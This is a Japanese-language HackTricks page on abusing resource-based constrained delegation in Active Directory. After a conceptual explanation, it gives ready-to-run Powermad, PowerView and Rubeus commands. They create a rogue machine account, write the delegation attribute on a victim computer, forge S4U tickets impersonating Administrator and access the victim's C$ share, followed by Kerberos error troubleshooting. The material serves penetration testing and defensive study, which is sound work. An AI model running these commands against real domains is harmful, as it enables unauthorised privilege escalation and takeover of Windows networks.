Resource-based Constrained Delegation

htARTE(HackTricks AWS Red Team Expert)を使用して、ゼロからヒーローまでAWSハッキングを学ぶ

HackTricks をサポートする他の方法:

リソースベースの制約付き委任の基礎

これは基本的な制約付き委任に似ていますが、オブジェクトに対して任意のユーザーを偽装する権限を与える代わりに、リソースベースの制約付き委任はオブジェクトに対して任意のユーザーを偽装できるユーザーを設定します。

この場合、制約付きオブジェクトには、msDS-AllowedToActOnBehalfOfOtherIdentity という属性があり、それに対して他のユーザーを偽装できるユーザーの名前が設定されます。

この制約付き委任と他の委任との重要な違いの1つは、マシンアカウントに対する書き込み権限(GenericAll/GenericWrite/WriteDacl/WritePropertyなど)を持つ任意のユーザーが、msDS-AllowedToActOnBehalfOfOtherIdentityを設定できることです(他の形式の委任では、ドメイン管理者権限が必要でした)。

新しい概念

制約付き委任では、ユーザーの_userAccountControl_値の中の**TrustedToAuthForDelegationフラグがS4U2Selfを実行するために必要であると言われていました。しかし、それは完全な真実ではありません。 実際には、サービス(SPNを持っている)であれば、その値がなくても、任意のユーザーに対してS4U2Selfを実行できますが、TrustedToAuthForDelegationがあると、返されるTGSはForwardableになり、そのフラグがない場合は、返されるTGSはForwardable**になりません。

ただし、S4U2Proxyで使用されるTGSForwardableでない場合、基本的な制約付き委任を悪用しようとしても機能しません。しかし、リソースベースの制約付き委任を悪用しようとしている場合は機能します(これは脆弱性ではなく、明らかに機能です)。

攻撃構造

コンピュータアカウントに書き込みに相当する権限がある場合、そのマシンで特権アクセスを取得できます。

攻撃者がすでに被害者コンピュータに対して書き込みに相当する権限を持っていると仮定します。

  1. 攻撃者は、SPNを持つアカウントを侵害または作成します(“Service A”)。特別な特権を持たない_管理者ユーザー_でも、最大で10のコンピュータオブジェクト(MachineAccountQuota)を作成し、それにSPNを設定できます。したがって、攻撃者は単にコンピュータオブジェクトを作成し、SPNを設定できます。

  2. 攻撃者は、被害者コンピュータ(ServiceB)に対するリソースベースの制約付き委任を構成するために、被害者コンピュータ(ServiceB)上のWRITE権限を悪用します。これにより、ServiceAがその被害者コンピュータ(ServiceB)に対して任意のユーザーを偽装できるようになります。

  3. 攻撃者は、Rubeusを使用して、特権アクセスを持つユーザーに対して、Service AからService Bへの完全なS4U攻撃(S4U2SelfおよびS4U2Proxy)を実行します。

  4. S4U2Self(侵害/作成されたSPNアカウントから):管理者から私へのTGSを要求します(Forwardableではない)。

  5. S4U2Proxy:前述のForwardableでないTGSを使用して、管理者から被害者ホストへのTGSを要求します。

  6. ForwardableでないTGSを使用していても、リソースベースの制約付き委任を悪用しているため、機能します。

  7. 攻撃者はチケットを渡すことができ、ユーザーを偽装して被害者のServiceBにアクセスできます。

ドメインのMachineAccountQuotaを確認するには、次のコマンドを使用できます:

Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota

攻撃

コンピュータオブジェクトの作成

ドメイン内でコンピュータオブジェクトを作成することができます。powermad:

import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

# Check if created
Get-DomainComputer SERVICEA

Resource-based Constrained Delegationの設定

activedirectory PowerShellモジュールを使用

Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked

PowerViewを使用する

$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

完全なS4U攻撃の実行

まず第一に、パスワード123456を持つ新しいコンピュータオブジェクトを作成したので、そのパスワードのハッシュが必要です:

.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local

これにより、そのアカウントのRC4ハッシュとAESハッシュが表示されます。 攻撃を実行できるようになります:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt

次のようにして、Rubeusの/altserviceパラメータを使用して、一度のリクエストで複数のチケットを生成することができます:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt

ユーザーには "委任できない" という属性があります。ユーザーがこの属性をTrueにしている場合、彼をなりすますことはできません。このプロパティはBloodHound内で確認できます。

アクセス

最後のコマンドラインは、完全なS4U攻撃を実行し、Administratorから被害者ホストへのTGSをメモリに注入します。 この例では、AdministratorからCIFSサービスのTGSが要求されたため、**C$**にアクセスできるようになります。

ls \\victim.domain.local\C$

異なるサービスチケットの悪用

ここで利用可能なサービスチケットについて学ぶ

Kerberos エラー

  • KDC_ERR_ETYPE_NOTSUPP: これは、Kerberos が DES または RC4 を使用しないように構成されており、あなたが単に RC4 ハッシュを提供していることを意味します。Rubeus には、少なくとも AES256 ハッシュを提供してください(または rc4、aes128、aes256 ハッシュを提供してください)。例: [Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())

  • KRB_AP_ERR_SKEW: これは、現在のコンピュータの時刻が DC の時刻と異なり、Kerberos が正常に機能していないことを意味します。

  • preauth_failed: これは、指定されたユーザー名 + ハッシュがログインに使用されていないことを意味します。ハッシュを生成する際にユーザー名に "$" を入れ忘れている可能性があります(.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local

  • KDC_ERR_BADOPTION: これは次のことを意味する可能性があります:

    • あなたが詐称しようとしているユーザーが望ましいサービスにアクセスできない(詐称できないか、権限が不十分なため)

    • 要求されたサービスが存在しない(WinRM のチケットを要求しているが、WinRM が実行されていない場合)

    • 作成された偽のコンピュータが脆弱なサーバー上で権限を失い、それらを戻す必要がある

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricks をサポートする他の方法:

Last updated